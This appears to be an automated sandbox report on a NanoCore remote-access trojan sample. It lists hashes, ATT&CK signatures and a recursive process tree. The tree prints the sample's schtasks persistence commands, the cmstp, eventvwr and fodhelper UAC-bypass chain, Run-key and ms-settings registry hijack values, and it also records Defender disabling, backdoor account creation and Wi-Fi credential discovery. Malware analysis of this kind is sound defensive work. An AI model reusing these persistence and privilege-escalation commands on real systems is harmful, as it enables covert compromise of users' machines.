nanocore | 38cab0566c5868999b7c12b82305f1c03cabde45e402f51c233db3154f22b77d

Analysis

max time kernel
1s
max time network
152s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
12/10/2026, 16:18

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
gptturkey.net_new.exe
Size 25KB
Sample261012-tr58tscw6v
SHA256 38cab0566c5868999b7c12b82305f1c03cabde45e402f51c233db3154f22b77d
MD5 14fdae74f7058bbd49b832614fb2fab7
SHA1 812f5ea17bb1ad10a0b8450533917f98304f1e8d
SHA512 f73ffa7a2a8856989fa2af9666a925a9a4b0ee0f68ef8f35d9285f048efb26067e0336650cc6097f83d78ce47ef33c4de66f7c22ab46bcf66e1602d311270d26
SSDEEP 384:t+9W/96MIZ+HLv4SPgHxWvd0MIwnVl4+FIuUx9dTGwN18G+H+oz9ySxW5kUW:8c/7rvDPgQ1i6VmyIj9L/8znBySv
TLSH
T196C2F74177FCC228E0BF6BBB5C7257004775B89B9D12CA0E0ED8808E1E777444AA4BA2
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution nanocore keylogger persistence privilege_escalation spyware stealer trojan

Malware Config

Extracted

Family

nanocore

Attributes

c2_port
443

Signatures

Family: NanoCore
NanoCore is a remote access tool (RAT) with a variety of capabilities.
keylogger trojan stealer spyware nanocore
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Disables one or more Microsoft Defender components 1 TTPs 35 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

defense_evasion

Disable or Modify Tools

T1562.001

pid	Process
13164	powershell.exe
12804	powershell.exe
10012	powershell.exe
10860	powershell.exe
12132	powershell.exe
13720	powershell.exe
10112	powershell.exe
2468	powershell.exe
7416	powershell.exe
7932	powershell.exe
5844	powershell.exe
7096	powershell.exe
13068	powershell.exe
3376	powershell.exe
7484	powershell.exe
9444	powershell.exe
10888	powershell.exe
9516	powershell.exe
11884	powershell.exe
13436	powershell.exe
4808	powershell.exe
7332	powershell.exe
6896	powershell.exe
8948	powershell.exe
8232	powershell.exe
5972	powershell.exe
11872	powershell.exe
4144	powershell.exe
6016	powershell.exe
11216	powershell.exe
2004	powershell.exe
15184	powershell.exe
2904	powershell.exe
6228	powershell.exe
10936	powershell.exe

Creates a file in the Startup directory 1 TTPs 1 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

persistence privilege_escalation

Registry Run Keys / Startup Folder

T1547.001

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsUpdate.bat	gptturkey.net_new.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000\Software\Microsoft\Windows\CurrentVersion\Run\WindowsUpdateService = "C:\\Users\\Admin\\AppData\\Local\\Temp\\gptturkey.net_new.exe"	gptturkey.net_new.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000\Software\Microsoft\Windows\CurrentVersion\Run\TCP Monitor = "C:\\Users\\Admin\\AppData\\Local\\tcpmon.exe"	gptturkey.net_new.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 64 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
10112	powershell.exe
9444	powershell.exe
6896	powershell.exe
8948	powershell.exe
5844	powershell.exe
7096	powershell.exe
7332	powershell.exe
13436	powershell.exe
4808	powershell.exe
10936	powershell.exe
10860	powershell.exe
13068	powershell.exe
11872	powershell.exe
13164	powershell.exe
8232	powershell.exe
7484	powershell.exe
7416	powershell.exe
4144	powershell.exe
6016	powershell.exe
12804	powershell.exe
10888	powershell.exe
3376	powershell.exe
11216	powershell.exe
2468	powershell.exe
7932	powershell.exe
6228	powershell.exe
9516	powershell.exe
2004	powershell.exe
15184	powershell.exe
11884	powershell.exe
5972	powershell.exe
2904	powershell.exe
10012	powershell.exe
12132	powershell.exe
13720	powershell.exe
8968	powershell.exe
8992	powershell.exe
2524	powershell.exe
10744	powershell.exe
11172	powershell.exe
11896	powershell.exe
11848	powershell.exe
12396	powershell.exe
6936	powershell.exe
3636	powershell.exe
11052	powershell.exe
9228	powershell.exe
7800	powershell.exe
10332	powershell.exe
9000	powershell.exe
2860	powershell.exe
13016	powershell.exe
11628	powershell.exe
7644	powershell.exe
12740	powershell.exe
14604	powershell.exe
9008	powershell.exe
7732	powershell.exe
13148	powershell.exe
15032	powershell.exe
2112	powershell.exe
11772	powershell.exe
9892	powershell.exe
13520	powershell.exe

Creates a new local user account 1 TTPs 64 IoCs

Uses net.exe to create a new local user account, often for persistence or a backdoor account.

persistence

Local Account

T1136.001

pid	Process
13964	net.exe
11336	net.exe
12544	net.exe
11644	net1.exe
10836	net.exe
2220	net.exe
10784	net1.exe
15196	net.exe
5336	net.exe
7196	net.exe
10616	net1.exe
4956	net.exe
4896	net1.exe
7112	net1.exe
11888	net1.exe
4392	net1.exe
14084	net1.exe
7596	net1.exe
8836	net1.exe
4872	net1.exe
2412	net.exe
13500	net.exe
3804	net.exe
4740	net1.exe
14828	net.exe
2652	net1.exe
3080	net1.exe
9052	net1.exe
6524	net1.exe
13564	net.exe
9624	net.exe
4804	net1.exe
14120	net.exe
1100	net1.exe
2548	net.exe
8548	net.exe
3124	net1.exe
11880	net1.exe
11496	net.exe
2868	net.exe
9816	net.exe
5340	net1.exe
14472	net.exe
14964	net1.exe
2236	net.exe
6632	net.exe
6780	net.exe
7308	net1.exe
8216	net.exe
1476	net1.exe
15232	net1.exe
9052	net1.exe
9440	net.exe
8728	net.exe
4360	net1.exe
10544	net.exe
9392	net1.exe
9120	net.exe
10116	net1.exe
3728	net1.exe
1948	net1.exe
7072	net.exe
7344	net1.exe
11412	net.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Permission Groups Discovery: Local Groups 1 TTPs
Attempt to find local system groups and permission settings.
discovery

Local Groups
T1069.001

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 30 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
7344	netsh.exe
9824	netsh.exe
6864	netsh.exe
12168	netsh.exe
9532	netsh.exe
3392	netsh.exe
14932	netsh.exe
15180	netsh.exe
8784	netsh.exe
8836	netsh.exe
10124	netsh.exe
8904	netsh.exe
10312	netsh.exe
8972	netsh.exe
6868	netsh.exe
8292	netsh.exe
6844	netsh.exe
10460	netsh.exe
9052	netsh.exe
6772	netsh.exe
9548	netsh.exe
5472	netsh.exe
8812	netsh.exe
11396	netsh.exe
2872	netsh.exe
12456	netsh.exe
3636	netsh.exe
15192	netsh.exe
10272	netsh.exe
8800	netsh.exe

Modifies registry class 6 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\ms-settings\shell\open\command	gptturkey.net_new.exe
Key created	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\ms-settings	gptturkey.net_new.exe
Key created	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\ms-settings\shell	gptturkey.net_new.exe
Key created	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\ms-settings\shell\open	gptturkey.net_new.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\gptturkey.net_new.exe"	gptturkey.net_new.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\ms-settings\shell\open\command\DelegateExecute	gptturkey.net_new.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 37 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
14892	schtasks.exe
3940	schtasks.exe
7544	schtasks.exe
9076	schtasks.exe
9388	schtasks.exe
11980	schtasks.exe
7868	schtasks.exe
4244	schtasks.exe
2972	schtasks.exe
12008	schtasks.exe
11140	schtasks.exe
13036	schtasks.exe
5364	schtasks.exe
6080	schtasks.exe
4956	schtasks.exe
3164	schtasks.exe
10452	schtasks.exe
11588	schtasks.exe
14328	schtasks.exe
7544	schtasks.exe
1116	schtasks.exe
4392	schtasks.exe
13748	schtasks.exe
10480	schtasks.exe
10468	schtasks.exe
5728	schtasks.exe
1576	schtasks.exe
6880	schtasks.exe
3800	schtasks.exe
11704	schtasks.exe
7156	schtasks.exe
6816	schtasks.exe
7924	schtasks.exe
10212	schtasks.exe
5340	schtasks.exe
5716	schtasks.exe
11536	schtasks.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeTakeOwnershipPrivilege	1772	cmstp.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
5552	mmc.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 4936 wrote to memory of 5364	4936	gptturkey.net_new.exe	89
PID 4936 wrote to memory of 1772	4936	gptturkey.net_new.exe	91
PID 4936 wrote to memory of 2060	4936	gptturkey.net_new.exe	92
PID 4936 wrote to memory of 4948	4936	gptturkey.net_new.exe	93
PID 4936 wrote to memory of 4808	4936	gptturkey.net_new.exe	94
PID 2060 wrote to memory of 5552	2060	eventvwr.exe	95

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\gptturkey.net_new.exe
"C:\Users\Admin\AppData\Local\Temp\gptturkey.net_new.exe"
1⤵
- Creates a file in the Startup directory
- Adds Run key to start application
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4936
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\gptturkey.net_new.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5364
- C:\Windows\System32\cmstp.exe
  "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\4e46d92f-f77d-415f-bfb0-9733ee62104b.inf
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1772
- C:\Windows\System32\eventvwr.exe
  "C:\Windows\System32\eventvwr.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2060
- - C:\Windows\system32\mmc.exe
    "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
    3⤵
    - Suspicious use of SetWindowsHookEx
    PID:5552
- C:\Windows\System32\fodhelper.exe
  "C:\Windows\System32\fodhelper.exe"
  2⤵
  PID:4948
- - C:\Users\Admin\AppData\Local\Temp\gptturkey.net_new.exe
    "C:\Users\Admin\AppData\Local\Temp\gptturkey.net_new.exe"
    3⤵
    PID:3088
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\gptturkey.net_new.exe" /sc onlogon /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:1576
  - - C:\Windows\System32\cmstp.exe
      "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\e904212b-baa7-4e95-9d8d-42fbfeb3c148.inf
      4⤵
      PID:5760
  - - C:\Windows\System32\eventvwr.exe
      "C:\Windows\System32\eventvwr.exe"
      4⤵
      PID:4352
    - - C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        5⤵
        
        PID:2408
  - - C:\Windows\System32\fodhelper.exe
      "C:\Windows\System32\fodhelper.exe"
      4⤵
      PID:4368
    - - C:\Users\Admin\AppData\Local\Temp\gptturkey.net_new.exe
        
        "C:\Users\Admin\AppData\Local\Temp\gptturkey.net_new.exe"
        5⤵
        
        PID:4724
      - C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\gptturkey.net_new.exe" /sc onlogon /f
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:4956
      - C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\64a4852a-78c7-4267-b45b-e29b1d3bd0d2.inf
        6⤵
        
        PID:5864
      - C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        6⤵
        
        PID:5352
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        7⤵
        
        PID:2796
      - C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        6⤵
        
        PID:788
        
        C:\Users\Admin\AppData\Local\tcpmon.exe
        
        "C:\Users\Admin\AppData\Local\tcpmon.exe"
        7⤵
        
        PID:3308
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\tcpmon.exe" /sc onlogon /f
        8⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:3164
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\b35ebd93-63cc-4c40-a768-00c9bcc56a2b.inf
        8⤵
        
        PID:1828
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        8⤵
        
        PID:5228
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        9⤵
        
        PID:5788
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        8⤵
        
        PID:3892
        
        C:\Users\Admin\AppData\Local\tcpmon.exe
        
        "C:\Users\Admin\AppData\Local\tcpmon.exe"
        9⤵
        
        PID:868
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\tcpmon.exe" /sc onlogon /f
        10⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:6816
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\a6d776cc-b4b4-4e20-ab2a-1eecc57c5390.inf
        10⤵
        
        PID:6900
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        10⤵
        
        PID:7012
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        11⤵
        
        PID:7084
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        10⤵
        
        PID:7044
        
        C:\Users\Admin\AppData\Local\tcpmon.exe
        
        "C:\Users\Admin\AppData\Local\tcpmon.exe"
        11⤵
        
        PID:6592
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\tcpmon.exe" /sc onlogon /f
        12⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:7156
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\6d74a4b5-e90c-4296-bcd2-072842d6a926.inf
        12⤵
        
        PID:7092
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        12⤵
        
        PID:7216
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        13⤵
        
        PID:7280
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        12⤵
        
        PID:7324
        
        C:\Users\Admin\AppData\Local\tcpmon.exe
        
        "C:\Users\Admin\AppData\Local\tcpmon.exe"
        13⤵
        
        PID:7792
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\tcpmon.exe" /sc onlogon /f
        14⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:7924
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\4bf9fcc7-ded4-4ec7-aa2b-3178658240d3.inf
        14⤵
        
        PID:7988
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        14⤵
        
        PID:7436
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        15⤵
        
        PID:7756
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        14⤵
        
        PID:7212
        
        C:\Users\Admin\AppData\Local\tcpmon.exe
        
        "C:\Users\Admin\AppData\Local\tcpmon.exe"
        15⤵
        
        PID:7480
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\tcpmon.exe" /sc onlogon /f
        16⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:4392
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\e5134be8-b908-4fe2-9eb8-19a039712975.inf
        16⤵
        
        PID:7408
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        16⤵
        
        PID:2424
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        17⤵
        
        PID:7912
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        16⤵
        
        PID:7224
        
        C:\Users\Admin\AppData\Local\tcpmon.exe
        
        "C:\Users\Admin\AppData\Local\tcpmon.exe"
        17⤵
        
        PID:8516
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\tcpmon.exe" /sc onlogon /f
        18⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:10212
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\9a194e67-8d41-4825-99cc-7f1a193368ab.inf
        18⤵
        
        PID:9280
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        18⤵
        
        PID:9336
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        19⤵
        
        PID:5272
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        18⤵
        
        PID:9308
        
        C:\Users\Admin\AppData\Local\tcpmon.exe
        
        "C:\Users\Admin\AppData\Local\tcpmon.exe"
        19⤵
        
        PID:6980
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\tcpmon.exe" /sc onlogon /f
        20⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:10452
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\5fb6c472-9d62-41ca-b8dd-9c81a01ebd2d.inf
        20⤵
        
        PID:10528
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        20⤵
        
        PID:10644
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        21⤵
        
        PID:10732
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        20⤵
        
        PID:10820
        
        C:\Users\Admin\AppData\Local\tcpmon.exe
        
        "C:\Users\Admin\AppData\Local\tcpmon.exe"
        21⤵
        
        PID:5524
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\tcpmon.exe" /sc onlogon /f
        22⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:12008
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\81c0e8b0-4c77-4b65-bc1a-bad228817bd5.inf
        22⤵
        
        PID:12140
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        22⤵
        
        PID:12248
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        23⤵
        
        PID:10456
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        22⤵
        
        PID:10740
        
        C:\Users\Admin\AppData\Local\tcpmon.exe
        
        "C:\Users\Admin\AppData\Local\tcpmon.exe"
        23⤵
        
        PID:11856
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\tcpmon.exe" /sc onlogon /f
        24⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:5716
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\7b9a5f6c-01cd-40ae-8e84-a1ad29254962.inf
        24⤵
        
        PID:11984
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        24⤵
        
        PID:1360
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        25⤵
        
        PID:10988
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        24⤵
        
        PID:12068
        
        C:\Users\Admin\AppData\Local\tcpmon.exe
        
        "C:\Users\Admin\AppData\Local\tcpmon.exe"
        25⤵
        
        PID:12712
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\tcpmon.exe" /sc onlogon /f
        26⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:11588
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\4a42a7c3-57f0-4f23-a084-fe8e1228dc93.inf
        26⤵
        
        PID:1880
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        26⤵
        
        PID:12208
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        27⤵
        
        PID:2736
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        26⤵
        
        PID:13004
        
        C:\Users\Admin\AppData\Local\tcpmon.exe
        
        "C:\Users\Admin\AppData\Local\tcpmon.exe"
        27⤵
        
        PID:1156
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\tcpmon.exe" /sc onlogon /f
        28⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:11704
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\0c80b176-ce37-47b2-bff2-2ec77e6880a4.inf
        28⤵
        
        PID:12852
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        28⤵
        
        PID:7520
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        29⤵
        
        PID:5688
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        28⤵
        
        PID:244
        
        C:\Users\Admin\AppData\Local\tcpmon.exe
        
        "C:\Users\Admin\AppData\Local\tcpmon.exe"
        29⤵
        
        PID:13800
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\tcpmon.exe" /sc onlogon /f
        30⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:7544
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\9689b6f7-2be4-40f3-a374-b525b2f362f8.inf
        30⤵
        
        PID:13404
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        30⤵
        
        PID:13428
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        31⤵
        
        PID:13408
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        30⤵
        
        PID:10388
        
        C:\Users\Admin\AppData\Local\tcpmon.exe
        
        "C:\Users\Admin\AppData\Local\tcpmon.exe"
        31⤵
        
        PID:13556
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\tcpmon.exe" /sc onlogon /f
        32⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:9076
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\0154b26a-4083-4b3a-97a3-d98245a8c450.inf
        32⤵
        
        PID:13400
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        32⤵
        
        PID:2416
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        33⤵
        
        PID:13208
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        32⤵
        
        PID:9488
        
        C:\Users\Admin\AppData\Local\tcpmon.exe
        
        "C:\Users\Admin\AppData\Local\tcpmon.exe"
        33⤵
        
        PID:8244
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\tcpmon.exe" /sc onlogon /f
        34⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:14892
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\418ed4da-d131-4b22-a4f0-578d8edefa12.inf
        34⤵
        
        PID:15132
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        34⤵
        
        PID:15308
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        35⤵
        
        PID:9344
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        34⤵
        
        PID:8120
        
        C:\Users\Admin\AppData\Local\tcpmon.exe
        
        "C:\Users\Admin\AppData\Local\tcpmon.exe"
        35⤵
        
        PID:15216
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\tcpmon.exe" /sc onlogon /f
        36⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:10468
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\7c6ef34d-4271-474d-bbc2-b8dbf7deb638.inf
        36⤵
        
        PID:7720
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        36⤵
        
        PID:12196
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        37⤵
        
        PID:12560
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        36⤵
        
        PID:12688
        
        C:\Users\Admin\AppData\Local\tcpmon.exe
        
        "C:\Users\Admin\AppData\Local\tcpmon.exe"
        37⤵
        
        PID:14316
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\tcpmon.exe" /sc onlogon /f
        38⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:13036
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\80570e62-b3e4-4b82-9d31-2c27f08cd0d9.inf
        38⤵
        
        PID:11556
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
